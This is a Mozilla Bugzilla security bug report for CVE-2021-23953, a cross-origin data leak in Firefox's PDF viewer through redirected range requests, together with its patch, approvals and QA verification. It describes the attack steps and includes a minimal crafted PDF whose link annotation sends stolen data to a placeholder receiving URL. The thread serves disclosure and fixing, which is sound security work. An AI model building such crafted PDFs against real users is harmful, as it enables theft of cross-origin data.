Closed Bug 1683940 (CVE-2021-23953) Opened 4 years ago Closed 4 years ago

Cross-origin information leakage via redirected PDF requests

Categories

(Firefox :: PDF Viewer, defect)

defect

Tracking

()

VERIFIED FIXED
86 Branch
Tracking Status
firefox-esr78 85+ verified
firefox84 --- wontfix
firefox85 + verified
firefox86 + verified

People

(Reporter: robwu, Assigned: bdahl)

References

()

Details

(Keywords: csectype-sop, sec-high, Whiteboard: [adv-main85+][adv-esr78.7+][sec-survey])

Attachments

(3 files, 1 obsolete file)

I posted a write-up of a vulnerability in the networking code of PDF.js at https://github.com/mozilla/pdf.js/issues/12744
In short, when multiple network requests are sent for parts of the PDF file, responses that belong to a different origin (e.g. due to redirects) should be rejected. This does not happen.

After some code inspection, I found that the vulnerability can currently be exploited under some specific circumstances circumstances. The only requirements for exploitation are:

  • Victim website (from where cross-origin data is stolen) responds to Range requests with HTTP 206.
    • note: the fact that HTTP 206 is required slightly lessens the impact, since it means that servers that don't respond to Range requests (I suppose most regular web content would more likely respond with HTTP 200 than 206) aren't affected.
  • Limited user interaction: User must click once in an attacker-controlled area (rendered PDF file).

To carry out the attack:

  1. Prepare a server that serves the head and tail of a crafted PDF file that triggers the Range request mode of PDF (=loading PDF data in chunks over the network). In between the head and tail, at a well-chosen offset, there are redirects for Range requests to the victim website.
  2. To the PDF viewer, the generated PDF file looks like a regular PDF file that contains a link (e.g. the GoToR action).
  3. By the construction of the PDF at step 1, any click within the PDF file will trigger a navigation to the URL, and the URL will contain the cross-origin data (from the redirection target).
  4. To execute the exploit, the user must be tricked into clicking in the PDF.

I haven't attached a PoC because I haven't bothered with constructing a PoC server with a good head/tail + offsets that triggers the vulnerable code path in PDF.js, but I did create such a PoC before in https://crbug.com/653749 (CVE-2016-5206).

As mentioned in the github bug, the easiest way to fix is use a xhr.channel.QueryInterface(Ci.nsIHttpChannel).redirectionLimit = 0; on the range requests, but it is more restrictive. I've got that working locally with some dummy servers, but I'm going to try and create some mochitests that we can land later. I'd also like to try the other way of verifying the origin, but unfortunately, with all the range requests and redirects the mochitest is not straightforward.

Rather than creating a PDF file that triggers the vulnerability, it may be easier to call pdf.js.message events to invoke the API and verifying that the message handler behaves as expected (i.e. rejects unexpected/cross-origin/non-PDF responses).

The original report here is about range requests. It just occurred to me that the non-range request variant can also be abused to perform universal reads of any website (simply by serving a PDF first without caching and then redirecting the same URL to an arbitrary destination of choice). That meant that IF an attacker manages to run code in the context of the PDF Viewer, that they can effectively send network requests and read its response without limitations.

That is a serious vulnerability on its own that would be patched by rejecting redirected requests.

Feel free to add me as a reviewer to any patch, I'll take a look despite being on PTO.

Summary: Cross-origin information leakage via range requests, requiring user interaction → Cross-origin information leakage via redirected PDF requests

In the Firefox case, how is data extracted? The onmessage/postmessage method used in the chrome exploit won't work with Firefox and pdf.js as far as I can tell.

(In reply to Brendan Dahl [:bdahl] (84 regression triage) from comment #3)

In the Firefox case, how is data extracted? The onmessage/postmessage method used in the chrome exploit won't work with Firefox and pdf.js as far as I can tell.

Right - in Chrome it was possible to automate exploitation by using an accessibility API to exfiltrate data.
PDF.js does not have such an API yet (at least not until the WIP scripting capability is extended), so alternatives are:

  • comment 0: trick the user into triggering a network request with the attacker's choice of payload.
  • comment 2: find a separate vulnerability in PDF.js to have code execution in the viewer, and abuse the pdf.js.message handler + redirects to read data.

In more detail:

To exploit comment 0, you would stitch together a PDF file from different origins (possible due to redirects of PDF file). Below I wrote a minimal example of such a file, structurally. At "DATA HERE", the server would redirect. In practice the file needs more padding (and the server should intentionally slow down the response so that the PDF viewer is forced to perform a range request to prioritize the loading of the DATA HERE chunk).

To exploit comment 2, the attacker needs another vulnerability that enables an attacker to run code in the PDF viewer document. When an attacker can execute code in the viewer, it can trigger pdf.js.message events, one of which is a mechanism to request data of the PDF file. PdfJsNetwork.jsm's NetworkManager is passed the URL of the requested PDF file, presumably to ensure that the unpriviled resource://pdf.js page only loads the PDF file. But because of the redirects, anything could be loaded.

Attachment below: minimal PDF file to showcase the requirements of the PDF that the attacker needs to send to exploit comment 0. To turn this into a full exploit, the attacker needs to add some padding inside the file and serve the PDF from an intentionally slow server, so that PDF.js uses range requests to try and request missing bytes. In this way, due to redirected range requests, it would be possible to steal DATA HERE (presumably data from a different server, after redirects).

%PDF-1.1
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]/MediaBox [0 0 200 100]>>
endobj
3 0 obj
<</Annots[5 0 R]/Type/Page/Parent 2 0 R/Resources<</Font<</F1<</Type/Font/Subtype/Type1/BaseFont/Arial>>>>>>/Contents 4 0 R>>
endobj
4 0 obj
<</Length 43>>
stream
BT/F1 20 Tf 39 44 Td(Click this link) Tj ET
endstream
endobj
5 0 obj
<</A<</S/GoToR /Type/Action/F(http://example.com/receive_here)/D 6 0 R>>/H/P/Rect[0 0 200 100]/Subtype/Link/Type/Annot>>
endobj
6 0 obj
(DATA HERE)
endobj
xref
0 7
0000000000 65535 f 
0000000008 00000 n 
0000000054 00000 n 
0000000128 00000 n 
0000000269 00000 n 
0000000360 00000 n 
0000000496 00000 n 
trailer
<</Root 1 0 R/Size 7>>
startxref
523
%%EOF
Assignee: nobody → bdahl
Status: NEW → ASSIGNED

Brendan, your patch in comment 5 fixes the vulnerability from comment 0, but not the vulnerability from comment 2 (more details for both in comment 4). Are you intentionally keeping the second vulnerability open (for a follow-up)?

An easy way to fix the issue from comment 2 is to also block redirects for non-range requests, but that is more likely going to cause regressions.

A less risky (i.e. not unnecessarily restrictive) way to resolve both issues at once is to check xhr.responseURL before processing the response.

I'll leave the choice to you.

EDIT: Brendan pointed out that the code path for the second issue is unreachable dead code. It's fine to proceed with just the fix for the bug from the initial bug report.

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Not very easily, but the bug has been discussed publicly in https://github.com/mozilla/pdf.js/issues/12744
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
  • Which older supported branches are affected by this flaw?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Easy, code hasn't changed much in many versions. Should be the same patch.
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely, there's the potential that ranged loading of PDFs that redirect requests would be slower to load, but we should fallback to streaming the PDF in that case. Our usual test suite should cover most of the normal cases for loading PDFs.
Attachment #9195266 - Flags: sec-approval?

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

Approved to land and request uplift

Attachment #9195266 - Flags: sec-approval? → sec-approval+
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED
Target Milestone: --- → 86 Branch

Please submit the uplift request.

Flags: needinfo?(bdahl)

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

Beta/Release Uplift Approval Request

  • User impact if declined: Potential security bug.
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: No
  • Needs manual test from QE?: Yes
  • If yes, steps to reproduce: Ensure a large pdf loads correctly, e.g. https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Small code change that has a fallback path.
  • String changes made/needed: none
Flags: needinfo?(bdahl)
Attachment #9195266 - Flags: approval-mozilla-beta?
Flags: qe-verify+

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

approved for 85.0b9

Attachment #9195266 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: Potential security bug.
  • Fix Landed on Version: 86
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Small code change that has a fallback path.
  • String or UUID changes made by this patch: none
Attachment #9195266 - Flags: approval-mozilla-esr78?

Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu

Approved for 78.7esr.

Attachment #9195266 - Flags: approval-mozilla-esr78? → approval-mozilla-esr78+
QA Whiteboard: [qa-triaged]
QA Whiteboard: [qa-triaged] → [qa-triaged][post-critsmash-triage]

I've tried to reproduce this bug by loading a large pdf file, as per instructions from comment 11, but I didn't see any difference between an affected Nightly build (86.0a1, 2020-12-22) and Beta 85.0b9. The pdf's were displayed correctly with both builds, on macOS 10.15 and Win 10.

Hi Brendan, is there any testcase or a PoC available, that can be shared in order to reproduce this issue?

Flags: needinfo?(bdahl)
Attached file str-proxy.js

comment 11's STR is about verifying that the fix doesn't cause regressions, but it doesn't trigger the bug and is not deterministic either.

STR for QA:

  1. Download the attached Node.js script and start it ( node str-proxy.js from the terminal)
    (the script is a proxy (to the large PDF from comment 11), that redirects all range requests)
  2. Open the developer tools of Firefox. Open the Network tab and change the "No throttling" dropdown in the upper-right corner to "Good 3G".
  3. Visit http://127.0.0.1:8081/test.pdf
  4. Wait a little bit (a few seconds).
  5. Look at the output of the program from step 1. (this will print all requests, including the Range requests in particular)
  6. Wait for the progress bar to crawl to the end, and check if the PDF is loaded.

Expected:

  • step 5 should end with "redirecting response to ?redirTarget", and NOT be followed by TEST FAILED: Redirect was unexpectedly followed.
  • step 6 should not be displaying any PDF at first. The PDF should only be rendered upon completion (based on the server response from the initial load at step 3).

Actual:

  • Step 5 contains several TEST FAILED: Redirect was unexpectedly followed lines in the output.
  • Step 6 renders the PDF file soon after the initial load, which shows that the redirect was followed
Flags: needinfo?(bdahl)

Thanks Rob, for the detailed steps.

I have reproduced this bug using an affected Nightly build (2020-12-22), on macOS 10.15.

This is verified as fixed on Beta 85.0b9, latest Nightly 86.0a1 and 78.7esr, across platforms: Win 10 x64, macOS 10.15 and Ubuntu 20.04 x64.

Status: RESOLVED → VERIFIED
Flags: qe-verify+
Whiteboard: [adv-main85+r]
Whiteboard: [adv-main85+r] → [adv-main85+][adv-esr78.7+]
Attached file advisory.txt (obsolete) —
Attached file advisory.txt
Attachment #9198101 - Attachment is obsolete: true

As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.

Please visit this google form to reply.

Flags: needinfo?(bdahl)
Whiteboard: [adv-main85+][adv-esr78.7+] → [adv-main85+][adv-esr78.7+][sec-survey]
Flags: needinfo?(bdahl)
Alias: CVE-2021-23953
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: